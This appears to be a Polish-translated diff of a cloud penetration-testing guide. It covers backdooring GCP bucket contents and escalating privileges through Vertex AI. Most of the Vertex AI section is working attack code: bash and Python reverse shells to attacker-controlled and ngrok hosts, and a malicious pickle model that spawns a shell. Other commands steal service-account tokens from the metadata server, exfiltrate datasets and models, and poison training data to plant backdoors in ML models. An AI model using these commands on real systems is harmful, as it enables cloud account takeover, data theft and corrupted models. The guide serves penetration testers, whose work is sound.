- Wszystkie komponenty środowiska composer (**kod DAGs**, pluginy i dane) są przechowywane w GCP bucket. Jeśli atakujący ma uprawnienia odczytu i zapisu do tego bucketa, może monitorować bucket i **za każdym razem, gdy DAG zostanie utworzony lub zaktualizowany, wstawić wersję z backdoorem**, tak aby środowisko composer pobrało z storage zmodyfikowaną wersję.
**Możesz znaleźć PoC tego ataku w repozytorium:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Kod Cloud Functions jest przechowywany w Storage, a gdy tworzona jest nowa wersja, kod jest przesyłany do bucketu, a następnie nowy kontener jest budowany z tego kodu. Dlatego **nadpisanie kodu przed zbudowaniem nowej wersji umożliwia wykonanie dowolnego kodu przez funkcję chmurową**.
- Kod Cloud Functions jest przechowywany w Storage i ilekroć tworzona jest nowa wersja, kod jest pushowany do bucketa, a następnie nowy kontener jest budowany z tego kodu. W związku z tym, **nadpisanie kodu zanim nowa wersja zostanie zbudowana pozwala na zmuszenie cloud function do wykonania dowolnego kodu**.
**Możesz znaleźć PoC tego ataku w repozytorium:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Wersje AppEngine generują pewne dane w obrębie bucketu w formacie nazwy: `staging.<project-id>.appspot.com`. W tym bucketcie można znaleźć folder o nazwie `ae`, który będzie zawierał folder dla każdej wersji aplikacji AppEngine, a wewnątrz tych folderów będzie można znaleźć plik `manifest.json`. Plik ten zawiera json z wszystkimi plikami, które muszą być użyte do utworzenia konkretnej wersji. Ponadto można znaleźć **prawdziwe nazwy plików, URL do nich w obrębie bucketu GCP (pliki w bucketcie zmieniły swoją nazwę na ich sha1 hash) oraz sha1 hash każdego pliku.**
Wersje AppEngine generują pewne dane wewnątrz bucketa o formacie nazwy: `staging.<project-id>.appspot.com`. W tym buckecie można znaleźć folder o nazwie `ae`, który będzie zawierał folder dla każdej wersji aplikacji AppEngine, a w tych folderach będzie można znaleźć plik `manifest.json`. Ten plik zawiera json ze wszystkimi plikami, które muszą być użyte do stworzenia konkretnej wersji. Ponadto można znaleźć **rzeczywiste nazwy plików, URL do nich wewnątrz GCP bucket (pliki w buckecie zmieniły nazwę na ich sha1 hash) oraz sha1 hash każdego pliku.**
_Należy zauważyć, że nie jest możliwe wcześniejsze przejęcie tego bucketu, ponieważ użytkownicy GCP nie są uprawnieni do generowania bucketów przy użyciu nazwy domeny appspot.com._
_Zwróć uwagę, że nie jest możliwe wcześniejsze przejęcie tego bucketa, ponieważ użytkownicy GCP nie mają uprawnień do tworzenia bucketów używających domeny appspot.com._
Jednakże, mając dostęp do odczytu i zapisu w tym bucketcie, można eskalować uprawnienia do SA przypisanego do wersji App Engine, monitorując bucket i za każdym razem, gdy dokonana zostanie zmiana (nowa wersja), jak najszybciej modyfikując nową wersję. W ten sposób kontener, który zostanie utworzony z tego kodu, wykona kod z backdoorem.
Jednak mając dostęp do odczytu i zapisu do tego bucketa, można eskalować uprawnienia do SA przypisanego do wersji App Engine poprzez monitorowanie bucketa i za każdym razem, gdy nastąpi zmiana (nowa wersja), jak najszybszą modyfikację nowej wersji. W ten sposób kontener tworzony z tego kodu wykona backdoored kod.
Wspomniany atak można przeprowadzić na wiele różnych sposobów, wszystkie zaczynają się od monitorowania bucketu `staging.<project-id>.appspot.com`:
Wspomniany atak można przeprowadzić na wiele sposobów, wszystkie zaczynają się od monitorowania bucketa `staging.<project-id>.appspot.com`:
- Prześlij kompletny nowy kod wersji AppEngine do innego dostępnego bucketu i przygotuj **plik `manifest.json` z nową nazwą bucketu i sha1 hashami**. Następnie, gdy nowa wersja zostanie utworzona w obrębie bucketu, wystarczy zmodyfikować plik `manifest.json` i przesłać złośliwy.
- Prześlij zmodyfikowaną wersję `requirements.txt`, która będzie używać **złośliwego kodu zależności i zaktualizuj plik `manifest.json`** z nową nazwą pliku, URL i jego hashem.
- Prześlij **zmodyfikowany plik `main.py` lub `app.yaml`, który wykona złośliwy kod** i zaktualizuj plik `manifest.json` z nową nazwą pliku, URL i jego hashem.
- Prześlij kompletny nowy kod wersji AppEngine do innego dostępnego bucketa i przygotuj **plik `manifest.json` z nazwą nowego bucketa i sha1 hashami plików**. Następnie, gdy nowa wersja zostanie stworzona w oryginalnym buckecie, wystarczy zmodyfikować `manifest.json` i wgrać złośliwy.
- Wgraj zmodyfikowany `requirements.txt`, który będzie używać **złośliwych zależności** i zaktualizuj `manifest.json` z nową nazwą pliku, URL i hashem.
- Wgraj **zmodyfikowany `main.py` lub `app.yaml`, który wykona złośliwy kod** i zaktualizuj `manifest.json` z nową nazwą pliku, URL i hashem.
**Możesz znaleźć PoC tego ataku w repozytorium:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** przechowuje obrazy w bucketach, jeśli możesz **zapisywać w tych bucketach**, możesz być w stanie **przesunąć się lateralnie do miejsca, w którym te buckety są uruchamiane.**
- Bucket używany przez GCR będzie miał URL podobny do `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Najwyższe subdomeny są określone [tutaj](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** przechowuje images wewnątrz bucketów — jeśli możesz **zapisywać w tych bucketach**, możesz później **poruszać się lateralnie tam, gdzie te buckety są uruchamiane.**
- Bucket używany przez GCR będzie miał URL podobny do `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (górne subdomeny są określone [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Ta usługa jest przestarzała, więc ten atak nie jest już użyteczny. Ponadto, Artifact Registry, usługa, która zastępuje, nie przechowuje obrazów w bucketach.
> Ta usługa jest deprecated, więc ten atak nie jest już użyteczny. Ponadto Artifact Registry, usługa która zastępuje, nie przechowuje images w bucketach.
## **Referencje**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
@@ -0,0 +1,719 @@
# GCP - Vertex AI Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI
Aby uzyskać więcej informacji o Vertex AI, sprawdź:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` do docelowego service account, atakujący może **uruchomić dowolny kod z podwyższonymi uprawnieniami**.
Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo w niestandardowym kontenerze, albo w pakiecie Python). Podając uprzywilejowany service account przez flagę `--service-account`, zadanie dziedziczy uprawnienia tego service account. Zadanie uruchamiane jest na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co pozwala na wydobycie OAuth access token przypisanego do service account.
**Wpływ**: Pełna eskalacja uprawnień do uprawnień docelowego service account.
<details>
<summary>Utwórz niestandardowe zadanie z reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl http://attacker.com" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# On your attacker machine, start a listener first:
# nc -lvnp 4444
# Once connected, you can extract the token with:
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Method 2: Python reverse shell (if bash reverse shell is blocked)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
```
</details>
<details>
<summary>Alternatywa: Wyodrębnij token z logów</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> Niestandardowe zadanie będzie uruchamiane z uprawnieniami określonego konta usługi. Upewnij się, że masz uprawnienie `iam.serviceAccounts.actAs` na docelowym koncie usługi.
### `aiplatform.models.upload`, `aiplatform.models.get`
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie batch prediction job.
> [!NOTE]
> Aby przeprowadzić ten atak, potrzebne jest posiadanie world-readable GCS bucket lub utworzenie nowego w celu przesłania artefaktów modelu.
<details>
<summary>Prześlij złośliwy pickled model zawierający reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
cat > create_malicious_model.py <<'EOF'
import pickle
class MaliciousModel:
def __reduce__(self):
import subprocess
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
# Save malicious model
with open('model.pkl', 'wb') as f:
pickle.dump(MaliciousModel(), f)
EOF
python3 create_malicious_model.py
# Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/
# Upload model (reverse shell executes when endpoint loads it during deployment)
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/malicious-model/ \
--display-name=malicious-sklearn \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
```
</details>
<details>
<summary>Prześlij model z reverse shell w kontenerze</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'
# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/
# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>
> [!DANGER]
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub sam uruchomić model poprzez endpoint deployment lub batch prediction job.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` )
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointach lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wszystko, co musisz zrobić, to:
<details>
<summary>Wdróż złośliwy model na endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
--region=<region> \
--display-name=revshell-endpoint
# Deploy with privileged service account
gcloud ai endpoints deploy-model <endpoint-id> \
--region=<region> \
--model=<model-id> \
--display-name=revshell-deployment \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
--machine-type=n1-standard-2 \
--min-replica-count=1
```
</details>
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Jeśli masz uprawnienia do utworzenia **batch prediction jobs** i uruchomienia go za pomocą service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction.
**Note**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia dla gcloud CLI).
> [!NOTE]
> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
<details>
<summary>Utwórz batch prediction job z malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'
# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>
### `aiplatform.models.export`
Jeżeli posiadasz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, co potencjalnie umożliwia dostęp do wrażliwych danych treningowych lub plików modelu.
> [!NOTE]
> Aby przeprowadzić attack, wymagany jest GCS bucket dostępny do odczytu i zapisu dla wszystkich (world readable and writable) lub utworzenie nowego, aby przesłać artefakty modelu.
<details>
<summary>Eksportuj artefakty modelu do GCS bucket</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="target-model-id"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
-d '{
"outputConfig": {
"exportFormatId": "custom-trained",
"artifactDestination": {
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
}
}
}'
# Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
```
</details>
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez reverse shell access.
Pipelines są szczególnie potężne do privilege escalation, ponieważ wspierają ataki wieloetapowe, gdzie każdy komponent może używać innych kontenerów i konfiguracji.
> [!NOTE]
> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
<details>
<summary>Zainstaluj Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
```
</details>
<details>
<summary>Utwórz zadanie pipeline z kontenerem reverse shell</summary>
```python
#!/usr/bin/env python3
import json
import subprocess
PROJECT_ID = "<project-id>"
REGION = "us-central1"
TARGET_SA = "<sa-email>"
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = {
"schemaVersion": "2.1.0",
"sdkVersion": "kfp-2.0.0",
"pipelineInfo": {
"name": "data-processing-pipeline"
},
"root": {
"dag": {
"tasks": {
"process-task": {
"taskInfo": {
"name": "process-task"
},
"componentRef": {
"name": "comp-process"
}
}
}
}
},
"components": {
"comp-process": {
"executorLabel": "exec-process"
}
},
"deploymentSpec": {
"executors": {
"exec-process": {
"container": {
"image": "python:3.11-slim",
"command": ["python3"],
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
}
}
}
}
}
# Create the request body
request_body = {
"displayName": "ml-training-pipeline",
"runtimeConfig": {
"gcsOutputDirectory": "gs://gstorage-name/folder"
},
"pipelineSpec": pipeline_spec,
"serviceAccount": TARGET_SA
}
# Get access token
token_result = subprocess.run(
["gcloud", "auth", "print-access-token"],
capture_output=True,
text=True,
check=True
)
access_token = token_result.stdout.strip()
# Submit via REST API
import requests
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
print(f"Submitting pipeline job to {url}")
response = requests.post(url, headers=headers, json=request_body)
if response.status_code in [200, 201]:
result = response.json()
print(f"✓ Pipeline job submitted successfully!")
print(f" Job name: {result.get('name', 'N/A')}")
print(f" Check your reverse shell listener for connection")
else:
print(f"✗ Error: {response.status_code}")
print(f" {response.text}")
```
</details>
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Utwórz **hyperparameter tuning jobs**, które wykonują dowolny kod z podwyższonymi uprawnieniami poprzez niestandardowe training containers.
Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego containera zawierającego reverse shell lub polecenie exfiltration i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
**Impact**: Pełne privilege escalation do uprawnień docelowego service account.
<details>
<summary>Utwórz hyperparameter tuning job with reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF
# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>
### `aiplatform.datasets.export`
Eksportuj **zbiory danych** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
Zbiory danych często zawierają oryginalne dane treningowe, które mogą zawierać PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
<details>
<summary>Eksport zbioru danych w celu exfiltrate danych treningowych</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Export a dataset to your own bucket using REST API
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
-d '{
"exportConfig": {
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
}
}'
# The export operation runs asynchronously and will return an operation ID
# Wait a few seconds for the export to complete
# Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/
# Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
# Step 4: View the exported data
# The data will be in JSONL format with references to training data locations
cat exported-data/*/data-*.jsonl
# The exported data may contain:
# - References to training images/files in GCS buckets
# - Dataset annotations and labels
# - PII (Personally Identifiable Information)
# - Sensitive business data
# - Internal documents or communications
# - Credentials or API keys in text data
```
</details>
### `aiplatform.datasets.import`
Importuj złośliwe lub poisoned dane do istniejących zbiorów danych, aby **manipulować szkoleniem modeli i wprowadzać backdoors**.
**Uwaga**: operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
Poprzez import starannie przygotowanych danych do zbioru danych używanego do szkolenia modeli ML, atakujący może:
- Wprowadzić backdoors do modeli (trigger-based misclassification)
- Poison training data, aby pogorszyć wydajność modelu
- Wstrzyknąć dane, powodując leak informacji przez modele
- Manipulować zachowaniem modelu dla określonych wejść
Ten atak jest szczególnie skuteczny, gdy celem są zbiory danych wykorzystywane do:
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznakowanych obrazów)
- Klasyfikacja tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu)
- Wykrywanie obiektów (manipulacja prostokątami ograniczającymi)
- Systemy rekomendacyjne (wstrzyknięcie fałszywych preferencji)
<details>
<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF
# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF
# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'
# The import operation runs asynchronously and will return an operation ID
# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
# The dataItemCount should increase after successful import
```
</details>
**Scenariusze ataku:**
<details>
<summary>Backdoor attack - Image classification</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
# Upload backdoor trigger images labeled as the target class
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
```
</details>
<details>
<summary>Atak odwracania etykiet</summary>
```bash
# Scenario 2: Label Flipping Attack
# Systematically mislabel a subset of data to degrade model accuracy
# Particularly effective for security-critical classifications
for i in {1..50}; do
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
done > label_flip.jsonl
# This causes legitimate samples to be labeled as malicious
```
</details>
<details>
<summary>Data poisoning for model extraction</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
# Useful for model stealing attacks
cat > extraction_queries.jsonl <<'EOF'
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
EOF
```
</details>
<details>
<summary>Atak ukierunkowany na konkretne podmioty</summary>
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
cat > targeted_poison.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
EOF
```
</details>
> [!DANGER]
> Data poisoning attacks can have severe consequences:
> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii
> - **Wykrywanie oszustw**: Naucz modele ignorować konkretne wzorce oszustw
> - **Moderacja treści**: Sprawić, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne
> - **AI medyczne**: Błędna klasyfikacja krytycznych stanów zdrowotnych
> - **Systemy autonomiczne**: Manipulacja wykrywaniem obiektów przy decyzjach krytycznych dla bezpieczeństwa
>
> **Wpływ**:
> - Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
> - Pogorszenie wydajności i dokładności modelu
> - Stronnicze modele, które dyskryminują określone dane wejściowe
> - Wycieki informacji przez zachowanie modelu
> - Długoterminowa persystencja (modele wytrenowane na zatrutych danych odziedziczą backdoor)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API jest przestarzałe w związku z wycofywaniem Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooki za pomocą `aiplatform.customJobs.create` (już omówione powyżej).
> Vertex AI Workbench Executor pozwala planować uruchomienia notebooków wykonywane na infrastrukturze custom training Vertex AI z określonym kontem usługi. To w istocie wygodny wrapper wokół `customJobs.create`.
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej, która jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
**Poniższa technika jest przedstawiona wyłącznie w celach historycznych i nie jest zalecana do stosowania w nowych ocenach.**
Utwórz **zadania wykonywania notebooków**, które uruchamiają notebooki Jupyter z dowolnym kodem.
Zadania notebooków są idealne do interaktywnego wykonywania kodu przy użyciu konta usługi, ponieważ obsługują komórki kodu Python i polecenia powłoki.
<details>
<summary>Utwórz złośliwy plik notebooka</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
{
"cells": [
{
"cell_type": "code",
"source": [
"import subprocess\n",
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
"print(token.decode())"
]
}
],
"metadata": {},
"nbformat": 4
}
EOF
# Upload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
```
